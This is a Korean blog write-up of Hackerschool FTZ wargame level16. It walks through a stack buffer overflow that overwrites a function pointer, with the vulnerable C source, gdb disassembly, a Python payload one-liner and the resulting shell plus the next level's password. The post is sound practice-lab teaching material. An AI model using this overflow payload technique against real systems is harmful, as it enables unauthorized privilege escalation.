일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- x64dbg
- BOF
- buffer over flow
- reversing
- Python
- 어셈블리어
- webhacking
- 리버싱
- 리눅스
- NewsClipping
- Hackerschool
- RITSEC
- CodeEngn
- requests
- ctf
- 웹해킹
- HackCTF
- 버퍼오버플로우
- Linux
- Next.js
- termux
- PWN
- Nop Slide
- 뉴스클리핑
- ftz
- RITSEC CTF 2019
- writeup
- SQL Injection
- Shadow 동아리
- 보안뉴스
Archives
- Today
- Total
Jaeseo's Information Security Story
FTZ - level16 - WriteUp 본문
FTZ - level16 - WriteUp
level16:about to cause mass
일단 hint를 봅니다.
[level16@ftz level16]$ cat hint
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
소스를 보면 call에 printit의 주소를 가져온다음 입력을 받고 call를 부르는 것을 볼 수 있는데 이때 printit의 주소를 shell의 주소로 덮어 쓰면 되는 문제 같다.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048518 <main+0>: push ebp
0x08048519 <main+1>: mov ebp,esp
0x0804851b <main+3>: sub esp,0x38
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500 //call에 printit의 주소를 lea
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
0x0804852e <main+22>: push 0x30
0x08048530 <main+24>: lea eax,[ebp-56] //입력을 받음 56와 16이니 40만큼 버퍼를 채우면 된다.
0x08048533 <main+27>: push eax
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
0x0804853f <main+39>: call eax
0x08048541 <main+41>: leave
0x08048542 <main+42>: ret
0x08048543 <main+43>: nop
0x08048544 <main+44>: nop
0x08048545 <main+45>: nop
0x08048546 <main+46>: nop
0x08048547 <main+47>: nop
0x08048548 <main+48>: nop
0x08048549 <main+49>: nop
0x0804854a <main+50>: nop
0x0804854b <main+51>: nop
0x0804854c <main+52>: nop
0x0804854d <main+53>: nop
0x0804854e <main+54>: nop
0x0804854f <main+55>: nop
End of assembler dump.
(gdb) x/x shell
0x80484d0 <shell>: 0x83e58955
이제 shell의 주소값도 구하였으니 exploit를 한다.
[level16@ftz level16]$ (python -c 'print "\x90"*40+"\xd0\x84\04\x08"';cat) | ./attackme
whoami
level17
my-pass
Level17 Password is "king poetic".
level17:king poetic
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level18 - WriteUp (0) | 2019.11.26 |
---|---|
FTZ - level17 - WriteUp (0) | 2019.11.26 |
FTZ - level15 - WriteUp (0) | 2019.11.26 |
FTZ - level14 - WriteUp (0) | 2019.11.25 |
FTZ - level13 - WriteUp (2) | 2019.11.19 |
Comments